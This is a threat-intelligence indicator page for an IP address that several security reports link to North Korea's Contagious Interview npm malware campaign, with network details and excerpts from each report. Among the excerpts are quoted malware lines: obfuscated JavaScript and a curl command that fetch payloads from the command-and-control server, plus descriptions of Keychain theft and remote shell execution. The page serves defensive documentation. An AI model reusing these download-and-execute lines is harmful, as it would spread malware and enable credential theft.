`144.172.105.235`

144.172.105.235 is an IP address that 5 published sources report in connection with Contagious Interview activity, which public reporting attributes to North Korea (DPRK). It is cited here from Socket, veryserious.systems, Veracode, Recorded Future and JPCERT/CC. The earliest of those reports is dated 2025-07-31 and the most recent 2026-11-09.

ip address Contagious Interview CURATED

First seen 2025-07-31 · last seen 2026-11-09

Network

Kind	data centre
Network	RouterHosting LLC (FranTech Solutions)
Announced by	AS14956 RouterHosting LLC
Country	United States
Flags	hosting range

Looked up 2026-09-21 at ip-api.com. A hosting range is not evidence on its own.

Sources

Direct-IP command-and-control endpoint listed by Socket for the July to October 2025 Contagious Interview npm wave of 338 packages.
North Korea's Contagious Interview Campaign Escalates: 338 Malicious npm Packages, 50,000 Downloads — Socket · published 2025-10-10 · pulled 2026-09-21
…— Automated Collection T1657 — Financial Theft Indicators of Compromise (IOCs) # C2 Endpoints # 135.181.123.177 138.201.50.5 144.172.105.235 144.172.112.106 146.70.253.107 23.127.202.249 23.227.202.244 http://fashdefi.store:6168/defy/v7…
North Korea’s Contagious Interview Campaign Escalates: 338 Malicious npm Packages, 50,000 Downloads | Socket — Socket · under “C2 Endpoints #” · published 2025-10-10 · pulled 2026-09-01
…— Travis Mathison 45.61.169.99 — Travis Mathison 23.106.253.194 — Travis Mathison 23.106.253.209 — Travis Mathison 144.172.105.235 — Socket.dev 172.86.98.240 1224, 1244 Travis Mathison 172.86.80.145 1224 Travis Mathison Shodan.io also reveals a Windows…
Breaking down North Korea's continuation of BeaverTail — veryserious.systems · under “Breaking down North Korea's continuation of the BeaverTail campaign” · published 2026-06-13 · pulled 2026-09-09
…= "\"" + homeDir + "\\.pyp\\python.exe\" \"" + _0x39065a + "\""; try { fs.rmSync(_0x39065a); } catch (_0x255abc) {} request.get("http://144.172.105.235:1224/client/5346/324", (_0x1ac422, _0x33c0f3, _0x4ccd8b) => { if (!_0x1ac422) { try { fs.writeFileSync(_0x39065a, _0x4ccd8b);…
North Korean Crypto Stealing Campaign Rears Its Head Again — Veracode · under “Peeking Inside cloud-binary” · published 2025-07-31 · pulled 2026-09-09
…107.189.24.80 144.172.95.226 144.172.100.124 144.172.100.142 144.172.102.21 144.172.102.148 144.172.103.97 144.172.104.113 144.172.105.189 144.172.105.235 144.172.106.7 144.172.106.133 144.172.109.98 144.172.109.155 144.172.112.106 146.70.253.107 147.124.197.138 147.124.212.125 147.124.213.19…
PurpleBravo’s Targeting of the IT Software Supply Chain — Recorded Future · under “Appendix B: C2 Servers” · published 2026-01-21 · pulled 2026-09-12
…144.172.100.124 144.172.100.142 144.172.101.45 144.172.102.148 144.172.102.21 144.172.103.97 144.172.104.10 144.172.104.113 144.172.105.189 144.172.105.235 144.172.106.7 144.172.109.98 144.172.112.106 144.172.122.143 144.172.74.108 144.172.74.48 144.172.86.27 144.172.95.226 144.172.96.80 147.12…
Contagious Interview IoCs — JPCERT/CC · published 2025-08-25 · pulled 2026-09-18
…user’s Keychain (macOS password database). Attempted to download a second-stage payload for persistence via curl curl -Lo "p.zi" "http://144.172.105.235:1224/pdown" Execute arbitrary Python scripts from the C2 server A WebSocket to receive and execute arbitrary shell commands Sandbox/VM…
North Korean Crypto Stealing Campaign Rears Its Head Again — Veracode · under “Peeking Inside cloud-binary” · published 2025-07-31 · pulled 2026-10-01

Find this indicator in the index, or see every IP address this site holds under IP addresses in the browse listing.

Related indicators

Cited by the same report: North Korea's Contagious Interview Campaign Escalates: 338 Malicious npm Packages, 50,000 Downloads

Socket lists 563 other indicators in this source. 7 are shown, chosen across types.

All 564 indicators from this source

Cited by the same report: Breaking down North Korea's continuation of BeaverTail

veryserious.systems lists 12 other indicators in this source. 5 are shown, chosen across types.

All 13 indicators from this source